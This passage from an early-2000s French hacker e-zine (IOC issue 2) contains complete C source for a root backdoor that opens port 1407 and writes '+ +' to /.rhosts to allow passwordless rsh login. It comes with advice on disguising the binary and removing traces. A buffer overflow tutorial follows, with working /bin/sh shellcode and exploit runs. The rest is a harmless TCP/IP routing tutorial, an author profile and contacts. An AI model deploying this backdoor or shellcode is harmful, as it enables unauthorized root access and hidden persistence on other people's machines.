ici il y aura nos commandes */ send(new, msg, sizeof(msg), 0); } Voila, on a plus qu'à couper la connection. [ close() ] Une fois notre fichier crée, il faut fermer la connection. La commande close() s'en charge. L'identifiant assigné au socket de la connection est "new" ( voir plus haut ). Souvenez vous, pour ouvrir : if((new=accept( ... ))) Donc pour fermer : close(new); Voila, nous venons de voir les différentes fonctions dons nous avons besoin pour écrire la backdoor. On va maintenant programmer notre outil pas à pas. B. Programmation pas à pas : ____________________________ Dabord les fichiers d'include : #include ( pour printf, fpinrtf, sprintf ) #include ( pour bzero ) #include ( pour system et geteuid ) #include ( pour perror ) #include ( pour htons ) #include ( pour socket, accept, bind ) #include ( pour listen, socket, accept, bind ) Ensuite, on définit le port et le backlog : #define PORT 1407 ( ... une date aniversaire ;@) ) #define BACKLOG 5 ( 5 pour une machine sous linux ) On entre maintenant dans le main : int main ( int argc, char *argv[]){ On va définir encore quelques trucs, le buffer pour la commande que l'on fera exécuter et le message d'acceuil qui s'affichera lors du début de la connection : char cmd[50]; char msg[]="\nVotre Message d'acceuil\n"; Les choses sérieuses commençent : int sock, new, size; struct sockaddr_in local; struct sockaddr_in remote; size=sizeof(struct sockaddr_in); On vient de définir des variables de types int qui correspondront aux identificateurs des sockets et une autre pour la taile de la la structure. On a aussi mentionné les deux structures que l'on va utiliser. On va maintenant mettre les champs de la structure "local" à 0 avant de les remplir. bzero(&local, sizeof(local)); local.sin_family = AF_INET; local.sin_port = htons(PORT); local.sin_addr.s_addr = INADDR_ANY; Avant d'aller plus loin, il faut vérifier que la backdoor est bien exécutée par le root. On aurait pu plaçer cette partie en début, mais présentation oblige, on va la plaçer ici : if (geteuid()!=0){ fprintf(stderr,"Only root can run this !\n"); exit(1); } Dans la foulée, nous allons compter le nombre d'arguments de la ligne de commande pour avertir en cas d'erreur qu'aucun argument n'est attendu : if (argc!=1){ fprintf(stderr,"Usage : %s&\n",argv[0]); exit(1); } Vous pouvez, à ce niveau là, restreindre l'accès de la backdoor en la protégeant par mot de passe : #define PWD "-sys" if((strcmp(PWD, argv[1]))!=0){ fprintf(stderr,"\'%s\' : No such argument \n", argv[1]); exit(1); } Dans ce cas, l'exécutable devra être invoqué par "./prog -sys &" avec le "&" pour être exécuté en arrière plan. Si l'argument "-sys" n'est pas fourni, la backdoor sera inutilisable, même pour le root. Si le root tombe dessus, il faut que notre exécutable ressemble à tout sauf à une backdoor, donc si vous mettez un truc genre "wrong password for this backdoor" il va piger dessuite. Le mieux, c'est de mettre un message d'erreur genre "no such argument", mais ça, c'est à vous de voir. Maintenant que l'on s'est assuré que l'exécutable a été correctement lançé, on peut passer à la suite. On va définir le socket et gérer le code d'erreur en même temps : if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1){ perror("socket"); exit(-1); } Bien, le socket étant prêt et la structure locale remplie, on attaque avec le bind() pour ouvrir le port : if( bind(sock,(struct sockaddr *)&local, sizeof(struct sockaddr_in))==-1){ perror("bind"); exit(-1); } Le port est ouvert, reste à définir le backlog ; pour cela listen() : if( listen(sock, BACKLOG)==-1){ perror("listen"); exit(-1); } Tout est prêt pour initialiser la connection : while(1){ if((new=accept(sock, (struct sockaddr *)&remote, &size))!=-1){ On va maintenant définir ce qui devra être fait si une connection est acceptée : sprintf(cmd,"echo + + >> /.rhosts\n"); system(cmd); Tout s'est déroulé avec succès, on peut donc envoyer le message de confirmation : send(new, msg, sizeof(success), 0); } close(new); } return 0; } Voila, on ferme le 'if', on clos la connection, on finit par fermer la boucle while, et enfin on termine le main. C'est termimé, notre backdoor est fin prête, reste à compiler. C. backserv.c : _______________ Voici le code source complet ! -------------8<--- cut here -------------------------------------------------------------- /* backserv.c v1.2 - Server Backdoor protected by password - * * by NeoFox [IOC] * * * | Directions for use | * * * * When you're root : * * 1) # gcc backserv.c -o Xdisplay * 2) # rm backserv.c * 3) # ./Xdisplay -sys& * 4) # exit * * Then as user ( local or remote ) : * * 1) % telnet cible.com 1407 * * - © 2001 [IOC] - * Creating /.rhosts * Ok, exiting ! * * 2) % rsh -l root cible.com csh -i * 3) # rm /.rhosts * 4) # * * */ #include /* fprintf, sprintf */ #include /* perror */ #include /* bzero */ #include /* sizeof */ #include /* htons */ #include /* socket, listen */ #include /* socket, listen, accept */ #define PORT 1407 #define BACKLOG 5 #define PWD "-sys" int main (int argc, char *argv[]) { char cmd[50]; /* do it with fun ! */ char success[]="-------------------\n" "\033[1;34m- © 2001 IOC -\033[0m\n" "\033[1;37mCreating /.rhosts ...\033[0m\n" "\033[1;31mOK, exiting !\033[0m\n" "-------------------\n"; int sock, new, size; struct sockaddr_in local; struct sockaddr_in remote; size=sizeof(struct sockaddr_in); /* empty struct */ bzero(&local, sizeof(local)); /* initialize struct */ local.sin_family = AF_INET; local.sin_port = htons(PORT); local.sin_addr.s_addr = INADDR_ANY; /* must be run as root */ if (geteuid()!=0){ fprintf(stderr,"Only root can run this !\n"); exit(1); } /* only 1 argument */ if (argc!=2){ fprintf(stderr,"Usage : %s&\n",argv[0]); exit(1); } /* checking password */ if((strcmp(PWD, argv[1]))!=0){ fprintf(stderr,"\'%s\' : wrong argument !\n", argv[1]); exit(1); } /* creating socket */ if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1){ perror("socket"); exit(-1); } /* bind */ if( bind(sock,(struct sockaddr *)&local, sizeof(struct sockaddr_in))==-1){ perror("bind"); exit(-1); } /* define our server's backlog */ if( listen(sock, BACKLOG)==-1){ perror("listen"); exit(-1); } while(1){ /* wait for a connection */ if((new=accept(sock, (struct sockaddr *)&remote, &size))!=-1){ /* creating file */ sprintf(cmd,"echo + + >> /.rhosts\n"); system(cmd); /* our message */ send(new, success, sizeof(success), 0); } /* close connection */ close(new); } return 0; } -------------8<--- cut here -------------------------------------------------------------- Conclusion : ____________ Ainsi s'achève cet article. J'espère que ce dernier vous aura apris quelque chose et vous aura plu. Si vous avez des questions, des commentaires, des critiques ou des conseils à me faire parvenir, n'hésitez pas à m'écrire. -------------------------------------------------------------------------------------------- VII. Buffer Overlows par Lex Icon -------------------------------------------------------------------------------------------- --| INTRODUCTION |-- Cet article vous expliquera en gros ce que sont les Buffer Overflows et comment les exploiter. Une connaissance basique du C, de l'assembleur et de GDB seront très utiles pour comprendre la suite de l'article. Les fichiers source sont téléchargeables depuis notre site à http://IOC.multimania.com/issue2/sourcecode-bof.zip --|ORGANISATION DE LA MEMOIRE|-- La mémoire est partagée en 3 régions : - la zone texte, qui est utilisée pour le stockage des instructions du programme. A cause de ça, cette région est marquée en lecture seule et une tentative d'écriture se soldera par une erreur. - La zone de données. Les variables statiques sont stockées ici et sa taille peut être modifiée par l'appel système brk(). - La pile. Sa particularité est que la dernière chose placée dessus est la première chose a en être enlevé, ce qui en gros veut dire 'dernier arrivé, premier dehors'. Elle a été faîte pour l'utilisation de fonctions et de procédures. Une procédure est comme un jump, sauf qu'elle retourne après qu'elle ait exécuté ses instructions. Une adresse de retour sera placée sur la pile pour ça. Elle est aussi utilisée pour allouer dynamiquement des variables utilisées dans les fonctions, ses paramètres et valeurs de retour. --|ADRESSES DE RETOUR ET POINTEURS D'INSTRUCTION|-- L'ordinateur exécute les instructions et garde un pointeur d'instructions (IP pour Instruction Pointer) qui pointe vers l'instruction suivante. Quand une fonction ou procédure est appelée, l'ancien pointeur est sauvé sur la pile comme adresse de retour (RET). Après l'exécution, le RET remplacera l'IP et le programme continuera. --|BUFFER OVERFLOW|-- Pour mieux comprendre, vous allez regarder le fichier EXEMPLE.C Le programme crée deux chaînes, memset() fout 0x41 (A) dans grosse_chaine, et ensuite, le contenu de la grosse chaine est copié dans la petite. Comme la petite chaîne ne peut pas supporter 100 caractères, il y a un buffer overflow. On regarde la mémoire : [ grosse chaine ] [ petite chaine ] [ SFP ] [ RET ] Lors du buffer overflow, le SFP (Stack Frame Pointer) et le RET seront remplacés par des 'A', ce qui veut dire que RET aura la valeur 0x414141 (0x41 est la valeur hexadécimale de A). Quand la fonction sera terminée, l'IP sera remplacé par le RET erroné. L'ordinateur essaiera d'exécuter l'instruction à 0x414141 ce qui mènera à une segmentation violation vu que l'adresse est en dehors de l'espace du processus. --|EXPLOITATION|-- Maintenant qu'on sait qu'on peut changer le fonctionnement du programme en modifiant le RET, on peut essayer de l'exploiter. Au lieu de mettre des 'A', on peut mettre une adresse spécifique. --|EXECUTION DE CODE ARBITRAIRE|-- Maintenant on a besoin de l'adresse de quelque chose à pointer et a exécuter. Dans la plupart des cas, on voudra afficher un shell, mais ce n'est pas la seule chose qu'il est possible de faire. Avant : FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF B=Buffer E=SFP R=RET F=Autres Après : FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF S=Shellcode A=Adresse pointant vers le shellcode F=Autres SHELL.C pour voir comment afficher un shell. Je ne vais pas expliquer ici comment générer du shellcode vu que ça demande de savoir programmer en assembleur. C'est un processus long et chiant qu'on a pas besoin de connaître vu qu'il en existe suffisament. Pour ceux qui veulent savoir comment on fait pour en générer : - Compilez le programme du sessus avec le flag '-static' - ouvrez le dans gdb et utilisez la commande 'disassemble main' - prenez tout le code inutile - changez le et re-écrivez le, ce coup ci en assembleur - compilez, ouvrez le dans gdb et utilisez la commande 'disassemble main' - utilisez les commandes x/bx sur les adresses des instructions et récupérez le code hexa Ou alors, vous pouvez prendre ce code : char shellcode[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; --|TROUVER L'ADRESSE|-- Quand on essaye de faire déborder le buffer d'un autre programme, le problème est de trouver l'adresse du buffer. La réponse à ce problème est que pour chaque programme, la pile commence à la même adresse. En sachant où commence la pile, on peut essayer de deviner quelle est l'adresse du buffer. GET_SP.C nous donne son pointeur de pile : --|ESSAYONS D'EXPLOITER UN EXEMPLE|-- On va exploiter ce programme: --HOLE.C-- --EXPLOIT1.C-- Maintenant on peut essayer de deviner l'offset (bufferaddress = stackpointer + offset) [meik]$ exploit1 600 Utilise l'adresse: 0xbffff6c3 [meik]$ ./hole $BUF [meik]$ exploit1 600 100 Utilise l'adresse: 0xbffffce6 [meik]$ ./hole $BUF Segmentation fault Comme vous pouvez le constater, ce processus est carrément impossible - on doit connaître l'adresse exacte du buffer. Pour améliorer nos chances, on peut utiliser NOP avant le shellcode de notre bufferoverflow. L'instruction NOP permet de retarder l'exécution. On l'utilise car on a pas besoin de deviner l'adresse exacte du buffer. Si l'adresse de retour écrasée pointe à l'intérieur de la chaîne NOP. Notre code sera exécuté quelques secondes après. La mémoire devrait ressembler à ceci : FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF F = NOP S = Shellcode A = adresse pointant vers le shellcode F = autres données On re-écrit notre vieil exploit. [EXPLOIT2.C] [meik]$ exploit2 600 Using address: 0xbffff6c3 [meik]$ ./hole $BUF segmentation fault [meik]$ exploit2 600 100 Using address: 0xbffffce6 [meik]$ ./hole $BUF #exit [meik]$ Pour améliorer encore plus notre exploit, on peut placer le shellcode dans une variable d'environement. On pourra ainsi faire déborder le buffer avec l'adresse de sa variable. Cette méthode augmentera nos chances encore plus. On modifie notre code afin qu'il utilise l'appel setenv() pour mettre le shellcode dans l'environement. [EXPLOIT3.C] --|TROUVER DES BUFFER OVERFLOWS|-- Il existe un seul moyen de trouver des buffer overflows, c'est en lisant le code source. Linux est un système OpenSource, il est ainsi facile d'obtenir le code source. Longue vie à l'opensource ! -Cherchez des librairies de fonction qui n'exécutent pas un contrôle de limite comme: strcpy(),strcat(), sprintf(), vsprintf(), scanf() -D'autres dangers comme: getc() et getchar() dans un while ou encore une mauvaise utilisation de strncat. --|REFERENCE BIBIOGRAPHIQUE|-- Smashing the stack for fun and profit - Aleph1 BufferOverflows - Mudge --|CONCLUSION|-- J'espère que vous aurez apris des tas de choses en lisant ce document. En gros, vous aurez compris que ça consiste à envoyer plus de données que prévu dans une variable afin de lui faire exécuter du code qui permet de faire des tas de choses intéressantes. Imaginez un programme en SUID, vous lui faîtes exécuter de quoi lancer un shell et vous vous retrouvez root. Elle est pas belle la vie ? --------------------------------------------------------------------------------------------- VIII. Introduction à TCP/IP (2/2) par NeoFox ---------------------------------------------------------------------------------------------- Voici donc la suite de cette introduction à TCP/IP. Vous trouverez le premier volet dans l'issue #1, disponible en download depuis notre site. ++++ Partie III : TCP/IP et le routage ++++ -> Généralités -> Fonctionnement du routage -> Protocoles de routage Si vous vous rapellez ce que vous avez lu au chapître 3 " Le protocole Internet ", (part. 1/2 ) vous vous souvenez que nous avons vaguement parlé de routage ... Eh ben on va approfondir ! 1) Généralités : ________________ Le routage est un procédés qui permet l'acheminement des datagrames de la couche internet d'un réseau à l'autre. Le routage répond également à un besoin essentiel, le fractionnement des réseaux. Je m'explique : rapellez vous que sur un réseau, chaque carte réseau de chaque machine examine toutes les trames qui y circulent pour capturer les trames qui lui sont destinées. Comme il est matériellement impossible qu'une carte réseau examine tout le trafic, le fractionnement est mis en place pour segmenter un réseau de grande taille en plusieurs sous-réseaux. De cette façon, les machines ne sont plus obligées de scruter tout le trafic, mais seulement celui du sous-réseau auquel elles appartiennent. Le fractionnement permet également d'alléger le trafic. Le routage est rendu possible par l'utilisation de routeurs. Qu'est-ce qu'un routeur ?! Une routeur est responsable de l'acheminement des trames d'un réseau à un autre, en les orientant par adresses logiques. Un routeur est une machine qui possède plusieurs cartes réseaux. Il peut ainsi interconnecter plusieurs réseaux ou sous-réseaux, même si ceux ci sont d'architecture diffèrente. En effet, il travaille au niveau de la couche Internet TCP/IP et on a vu que cette couche ne se souciait pas des contraintes liées au matériel. Donc nôtre routeur va pourvoir mettre en relation par exemple un réseau Ethernet et un réseau à jeton. Dans cet exemple, le routeur dispose d'une carte réseau Ethernet et d'une autre style Token Ring. Lorsque le routeur est invoqué par une machine de l'Ethernet, celui-ci reçoit la trame au format Ethernet via sa carte réseau, la couche IP consulte l'en-tête du datagrame pour se rendre compte finalement que le datagrame est destiné à une machine d'un réseau rattaché à ce routeur, il dirige les données vers la carte réseau correspondante qui se trouve être celle d'un Token Ring. Cette carte formatte les données et place les trames sur le réseau à anneau à jeton où elles seront récupérées par la machine destinataire. De la même manière, un routeur peut relier autant de réseaux qu'il possède de cartes réseaux. Souvenez vous que l'adresse IP est attribuée à la carte réseau d'une machine et non à la machine elle même. Un routeur peut donc avoir plusieurs adresses IP. Administration d'un routeur : Les Administrateurs Réseaux utilisent certains logiciels de supervisation pour être en permanence tenus informés de l'état de leur réseaux, du bon fonctionnement ou au contraire d'une avarie survenue à l'un de leurs routeurs etc ... Ces logiciels implémentent un protocole apellé " Simple Network Management Protcol " ou SNMP. Ce protocole permet aux applications d'échanger des informations de configuration avec les routeurs du réseau. Ces applications fonctionnent au port 161. Il est également possible à un administrateur de se connecter à l'un de ses routeurs par Telnet. Voila pour les définitions, voyons mainenant le fonctionnement plus en détail. 2) Fonctionnement du Routage : ______________________________ 2.1 Les grandes étapes du routage : ____________________________________ Un routeur reçoit les trames des réseaux auquels il est connecté via ses cartes réseaux. Il transmet les données à la couche Internet mais ne tient pas compte des en-têtes de la couche AR. La couche Internet réassemble le datagrame si besoin ( rapellons que les trames peuvent avoir été fragmentées par l'expéditeur ). Cette même couche inspecte l'en-tête du datagrame et prend note de l'adresse IP de la source et de celle du destinataire. S'il en déduit que la source et le destinataire sont sur le même réseau, il n'intervient pas. Par contre, si le destinataire fait partie d'un réseau distant, le routeur comprend que les datagrames doivent être exportés. Il consulte alors sa Table de Routage pour savoir sur quel réseau l'envoyer. Il détermine donc quelle carte réseau devra gérer les trames. Il passe ensuite les datagrames à la couche Accès Réseau qui va les placer via cette carte sur le réseau correspondant en procédant, si besoin est ( c'est à dire si l'architecture du réseau de destination diffère de celui de la source ) à un reformattage. Une fois les trames plaçées sur le réseau de destination, ce sont les protocoles de bas niveau qui vont se charger de les acheminer jusqu'au destinataire. Voyons cela à l'aide d'un schéma où une machine du réseau A veut dialoguer avec une machine du réseau B: ______________________________ | | | | | Routeur reliant les réseaux | | | | A et B | | | | | ______________________________ ______________________________ | | | Couche Internet du Routeur | | | ______________________________ ______________________________ | | | Couche AR du Routeur | | | ______________________________ -----^------ -----v------ | | | | |Carte Réseau| |Carte Réseau| | A | | B | ------------ ------------ | | ----->----- ----->----- | | Réseau A Réseau B ________ ________ ________ ________ | | | | | | | | | | |machine1|_|_|machine2| |machine1|_|_|machine2| | | | | | | | | | | ________ | ________ ________ | ________ | | ________ ________ | | | | |machine3| |machine3| | | | | ________ ________ Pour savoir vers quelle sortie diriger les trames, le routeur consulte comme nous l'avons dit sa table de routage ... 2.2 Les Tables de Routage : ____________________________ Définition : ____________ Une Table de Routage est un fichier que le routeur va consulter pour déterminer l'adresse du réseau auquel il devra transmettre les trames qui lui parviennent. Ce fichier définit le réseau de destination en fonction de l'adresse IP de la source. Il ne contient pas l'adresse logique de chaque hôte de chaque réseau car comme nous l'avons, sur le réseau de destination ce sont les protocoles de la couche AR qui se chargent de la livraison à la bonne machine. Le rôle d'un routeur se limite ainsi ( et c'est déja beaucoup ) à déterminer le réseau distant sur le quel devront être aiguillées les trames. Une Table de Routage contient donc une liste d'ID réseau. Elle définit l'ID du réseau de destination et le port physique ( carte réseau ) correspondant, par lequel sortieront les trames à direction de la cible. Si l'adresse du réseau de destination ne figure pas sur sa table de routage, le routeur passera les trames à un autre routeur plus prés du réseau visé. La Table de routage sert donc à déterminer soit l'adresse du réseau de destination si le routeur le relie directement ( connection directe ), soit celle d'un autre routeur. Analyse d'une Table de Routage : ________________________________ La Table de routage comporte plusieurs colones dans lesquelles sont classées les informations utiles au routage. La première colone pourrait être appellée " Prochain Saut ". Un saut désigne le franchissement d'un routeur ou d'une machine. Ainsi, si on dit d'une machine qu'elle est à 5 sauts du destinataire, cela siginife que les données devront être relayées par 4 routeurs, le 5eme saut les amenant à destination. La première colone de la table de routage contient donc l'adresse de la prochaine machine à laquelle le routeur devra envoyer les trames, ou l'adresse du réseau de destination si le routeur est en connection directe avec celui-ci. On va simplifier, le but étant d'exposer le concept. Une Table de Routage se présente en gros comme ça : Network Address---------Subnet Mask-----------Via Router------Port------------Type------ 10.0.0.0 255.0.0.0 10.0.0.10 Ethernet WAN 127.0.0.1 255.255.255.255 127.0.0.1 Loopback Local 192.168.1.0 255.255.255.0 192.168.1.1 Ethernet LAN Pour information, les 2 cartes réseaux de ce routeur : Celle connectée au WAN : 00-00-c5-81-ae-d6 10.0.0.1 Celle connectée au LAN : 00-00-c5-81-ae-d4 192.168.1.1 Voyons à quoi correspond chaque colone : Network Address = Adresse logique du prochain saut Subnet Mask = Masque de sous-réseau Via Router = Adresse logique de la carte réseau correspondante Port = Nom du port physique relié à cette carte On va maintenant commenter chaque ligne une par une : (1) 10.0.0.0 255.0.0.0 10.0.0.10 Ethernet WAN Le réseau ayant pour adresse 10.0.0.0 est un réseau de Classe A comme le montre le masque de sous-réseau. Si le routeur reçoit des trames à destination d'une machine de ce réseau, il devra les diriger vers sa carte réseau ayant pour adresse logique 10.0.0.10 qui fonctionne sur le port en connection directe avec le WAN ( rapellons que WAN siginife " Wide Aera Network ", soit réseau étendu ). (2) 127.0.0.1 255.255.255.255 127.0.0.1 Loopback Local Cette ligne correspond à l'IP de loopback, pas de redirection. (3) 192.168.1.0 255.255.255.0 192.168.1.1 Ethernet LAN Si le routeur reçoit un paquet est à destination d'une machine du réseau 192.168.1.0, réseau de classe C comme l'indique le masque de sous réseau, il va le rediriger vers la carte réseau dont l'adresse logique est 192.168.1.1. Cette carte en connection directe avec le LAN Ethernet. On voit donc ici que le routeur connecte son réseau local ( LAN ) au réseau étendu ( WAN ) possédant pour ce faire les 2 cartes réseau correspondantes. Il peut aiguiller les trames soit vers le réseau étendu, soit vers le réseau local. Il existe deux sortes de routage qui dépendent enfait de la manière dont la Table de Routage est générée. Il y a donc le routage statique et le routage dynamique. Dans le cas d'un routage statique, la Table est générée manuellement par l'administrateur. Dans le cas d'un routage dynamique, la Table est générée automatiquement par des protocoles de routage. 3) Protocoles de Routage : ___________________________ Nous avons dit que les tables de routage peuvent être générées automatiquement par des protocoles de routage. Je m'explique : dans un réseau de grande taille ou nécessitant un grand nombre de routeurs, plusieurs itinéraires peuvent être utilisées pour relier une machine A à une machine B distante. De plus certains axes peuvent être surchargés ou certains routeurs hors services. Le rôle des protocoles de routages est alors d'assurer et d'optimiser le transit des informations. C'est là qu'interviennent RIP et OSPF ... RIP en un mot : _______________ RIP siginife " Routing Information Protocol ", protocole d'information de routage. Sous RIP, chaque routeur diffuse des informations sur lui-même ainsi que sur l'état des routeurs qui le séparent des routeurs de son réseau. Si un routeur tombe en panne, ou qu'une liaison est défectueuse, les autres routeurs de réseau s'informent les uns les autres sur la localisation du disfonctionnement ce qui leur permet de modifier en conséquence leur table de routage. Un nouveau chemin est déterminé pour atteindre la cible, et les trames sont redirigées vers un autre routeur qui va prendre le relai de celui qui qui vient de nous lâcher. Sous RIP, chaque routeur transmet une valeur " nombre de sauts " à son voisin. Lorsque un routeur reçoit ces valeurs de ses voisins, il l'incrémente de 1, puis le passe tous les autres routeurs auquels il est rattaché. Ainsi, chaque routeur connait précisément la distance qui le sépare de chacun de ses voisins. Sous RIP, l'émission de ces informations a lieu toutes les 30 secondes. L'ennui avec RIP c'est qu'il ne permet l'émission d'informations que sur une distance de 16 sauts. Sa portée est donc limitée. L'autre problème de RIP c'est que l'émission de ces informations inter-routeurs contribue à augmenter le trafic et peut encombrer la bande passante. C'est comme si vous regardiez M6 et qu'il y avait un flash info "le 6 minutes" tous les 1/4 d'h ! Ca serait chiant pour regarder la petite maison dans la prairie, non ? Euh, bon, là, je m'égarre. Mais de tout façon, RIP est en cours de remplaçement par OSPF. OSPF en un mot : ________________ OSPF signifie " Open Shortest Path First ", le plus court chemin d'abord. OSPF détermine le plus court chemin vers la cible. Les logiciels implémentant ce protocole de routage permettent au routeur de transmettre l'intégralité de sa table de routage. Ces informations ne sont transmises qu'à ces voisins directs, auquels ils est directement, à la différence de RIP qui balançe les infos à tous les autres routeurs du réseau. Un routeur tombe en panne, son voisin direct est informé, il modifie sa table en conséquence, puis la passe à son voisin direct. Chaque routeur est réagit donc à l'avarie à la manière de dominos qui se cassent la gueule : tout changement de la table de routage de l'un, entraine immédiatement les changements appropriés chez les autres sans qu'il soit besoin de recourir à une émission générale de l'information. Chaque routeur en informe son voisin DIRECT, na ! Sous OSPF, chaque routeur peut se représenter une "carte" de l'état des routes proches de lui. Cette "carte" qu'il a mémorisé Cela lui évite d'avoir à reçevoir, à incrémenter, et à retransmettre des informations sur le nombre de sauts le séparant des autres. Il y a donc moins de flash info, le volume des données de routage en est réduit libérant ainsi de la bande passante. De ce fait, le protocole OSPF permet de gérer un trafic plus important que RIP. Conclusion : ____________ Voila, j'espère que ce chapître vous aura aidé à comprendre le fonctionnement du routage. Ainsi s'achève la partie 2/2 de cette introduction à TCP/IP. Pour ceux qui chercheraient le premier volet, sachez qu'il était au sommaire de notre issue 1, et que vous pouvez toujours vous le procurer, ainsi que le reste du magazine d'ailleurs sur notre site. Me contacter : ______________ neo_fox_2001@hotmail.com http://ioc.multimania.com UIN : 130722451 ----------------------------------------------------------------------------------------------------- VIII. Portrait : Lex Icon par Lex Icon ... of course ;@) ----------------------------------------------------------------------------------------------------- NICKNAME: Lex Icon | MEIK DATE DE NAISSANCE: 18 / 11 / 198x CHEVEUX: Bruns Yeux: Idem Taille: 1,75m Poids: 60kg Loisirs: Programmation, Rugby, VTT Site(s): http://greenberet.multimania.com http://IOC.multimania.com Etudes: Encore dans le cycle secondaire Catégorie: Je suis un littéraire OS: MS-Win98SE, OpenBSD2.9, RedHat6.0, Mandrake 8.0 Système: Cyrix 133MHz, 32Mo SDRAM, 1,2 + 20Go HD Souhaite: Devenir prof de grammaire anglaise en université || devenir prof de civilisation-us en université à l'étranger || m'engager dans les commandos. Musique: Black Metal, Electro (Indus. en particulier) et Goth [Dimmu Borgir, Emperor, Immortal, Cradle of Filth, Mayhem, Mystic Circle][Rammstein, Umbra&Imago, Skinny Puppy][Type o Negative] Instruments: Je joue de la guitare, un peu de la basse, je sais me servir d'une batterie et je maîtrise le piano depuis peu. Sinon je chante (mon registre est surtout dans les groupes que j'écoute) Hacking: Je suis dans le hacking depuis maintenant 3 ans. Je fais de la programmation depuis l'âge de 10 ans, mais à l'époque c'était seulement du basic sur des ordinateurs pour gamins. Programmation: Langages que je connais bien: C, Perl, Basic, Python. Langages dont je sais me servir assez bien: VisualBasic 6, C++, Java. IOC: Membre fondateur de IOC avec Neo Fox. Le projet datait de juin 2001 et il a vu le jour en juillet 2001. Depuis, 6 mois sont passés et deux magazines sont sortis. Le groupe s'apellait initiallement LoH mais un changement est survenu pour diverses raisons. >> note de neofox : La prochaine fois c'est mon tour ! ------------------------------------------------------------------------------------------- IX. >>> CONTACTS <<< ------------------------------------------------------------------------------------------- o Lex Icon : Invisible_evil_meik@hotmail.com o Neo Fox : neo_fox_2001@hotmail.com o Merlin : IOC_merlin@hotmail.com o Wargames : wargames8@caramail.com o Notre site : http://IOC.multimania.com ____ __ _ ____ _ _ _ ___ _ __ _ / ____| / \ | \ || / ____|| | | | | | / _\|_| / \ | \ || / / | /\ |||\\ ||/ / | | | | | | \ / _ | /\ |||\\ || \ \____ | \/ ||| \\||\ \____ | |__ | \__/ ||\_\ \ | || \/ ||| \\|| \ ____| \__/ || \\| \ ____||____| \____/ \___/ |_| \__/ || \\| [IOC@localhost /~]# ./Zap2 2001 Ainsi s'achève notre mag, ainsi s'achève 2001, ainsi commençe une nouvelle année ; ça fait beaucoup en une seule journée. On espère que vous n'avez pas trop forçé sur la vodka hier soir, ça ferait chier que des lecteurs potentiels aient terminé la soirée dans un arbre avec leur caisse, sans même avoir eut l'occasion de lire ce second numéro ; c'est vrai quoi, on écrit pas ce mag. pour les platanes ! Si tant est que vous soyez toujours en un seul et même morceau - et nous aussi d'ailleurs - et si vous avez aimé ce numéro, envoyez nous des mails de soutien, ça fait toujours plaisir de savoir qu'on est lus ; au contraire, si vous ne l'avez pas trouvé intéressant, mailez nous quand même pour nous faire part de vos critiques, ça nous aidera à améliorer. On vous donne rendez vous à la sortie de l'issue #3. En attendant, toute notre équipe vous souhaite une Bonne Année 2002 ! - IOC - Copyrights © 2002 [IOC] -